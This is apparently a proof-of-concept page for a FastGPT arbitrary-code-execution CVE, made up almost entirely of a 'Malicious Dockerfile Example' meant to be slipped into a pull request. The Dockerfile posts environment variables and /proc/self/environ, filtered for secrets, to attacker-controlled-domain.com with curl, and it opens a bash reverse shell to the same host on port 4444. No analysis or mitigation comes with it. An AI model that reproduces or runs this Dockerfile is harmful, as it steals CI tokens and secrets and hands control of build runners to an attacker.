CVE-2026-33075 FastGPT 任意代码执行漏洞

# Malicious Dockerfile Example # Attacker modifies this file in the PR to steal secrets FROM alpine:latest # Install curl to exfiltrate data RUN apk add --no-cache curl # Copy GitHub context (contains potential secrets if exposed) COPY . /app # Exfiltrate repository secrets to attacker controlled server # Note: GITHUB_TOKEN or other secrets might be injected as env vars or accessible via files RUN curl -X POST -H "Content-Type: application/json" \ -d "$(env | grep -i secret || cat /proc/self/environ)" \ https://attacker-controlled-domain.com/exfil # Reverse shell to gain control of the runner RUN apk add --no-cache bash && \ bash -c 'bash -i >& /dev/tcp/attacker-controlled-domain.com/4444 0>&1' &